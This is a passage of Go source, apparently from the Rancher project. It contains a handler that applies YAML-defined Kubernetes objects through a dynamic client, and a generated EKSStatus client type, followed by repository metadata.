objs, err := yaml.ToObjects(bytes.NewBufferString(input.YAML))
if err != nil {
apiContext.WriteError(err)
return
}
apply, err := a.createApply(apiContext)
if err != nil {
apiContext.WriteError(err)
return
}
if err := apply.WithDefaultNamespace(input.DefaultNamespace).ApplyObjects(objs...); err != nil {
apiContext.WriteError(err)
return
}
rw.Header().Set("Content-Type", "application/json")
err = json.NewEncoder(rw).Encode(&ApplyOutput{
Resources: objs,
})
if err != nil {
apiContext.WriteError(err)
}
}
func (a *Apply) createApply(apiContext *types.APIRequest) (apply.Apply, error) {
client, err := a.cg.K8sInterface(apiContext)
if err != nil {
return nil, err
}
apply := apply.New(client.Discovery(), func(gvr schema.GroupVersionResource) (dynamic.NamespaceableResourceInterface, error) {
dynamicClient, err := a.cg.DynamicClient(apiContext)
if err != nil {
return nil, err
}
return dynamicClient.Resource(gvr), nil
})
return apply.
WithDynamicLookup().
WithContext(apiContext.Context()).
WithSetID(uuid.New()), nil
}
<file_sep>/pkg/client/generated/management/v3/zz_generated_eks_status.go
package client
const (
EKSStatusType = "eksStatus"
EKSStatusFieldPrivateRequiresTunnel = "privateRequiresTunnel"
EKSStatusFieldSecurityGroups = "securityGroups"
EKSStatusFieldSubnets = "subnets"
EKSStatusFieldUpstreamSpec = "upstreamSpec"
EKSStatusFieldVirtualNetwork = "virtualNetwork"
)
type EKSStatus struct {
PrivateRequiresTunnel *bool `json:"privateRequiresTunnel,omitempty" yaml:"privateRequiresTunnel,omitempty"`
SecurityGroups []string `json:"securityGroups,omitempty" yaml:"securityGroups,omitempty"`
Subnets []string `json:"subnets,omitempty" yaml:"subnets,omitempty"`
UpstreamSpec *EKSClusterConfigSpec `json:"upstreamSpec,omitempty" yaml:"upstreamSpec,omitempty"`
VirtualNetwork string `json:"virtualNetwork,omitempty" yaml:"virtualNetwork,omitempty"`
}
| dfdbd86aee8b8f3a198a1ea3b4236f2ba52a2839 | [
"Go"
] | 2 | Go | dkeightley/rancher | e11ed8cced92c679368cfd3ea6db1c4b2ef93d04 | 76f2542fb64f61488d61d7be624d751f85dfe816 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.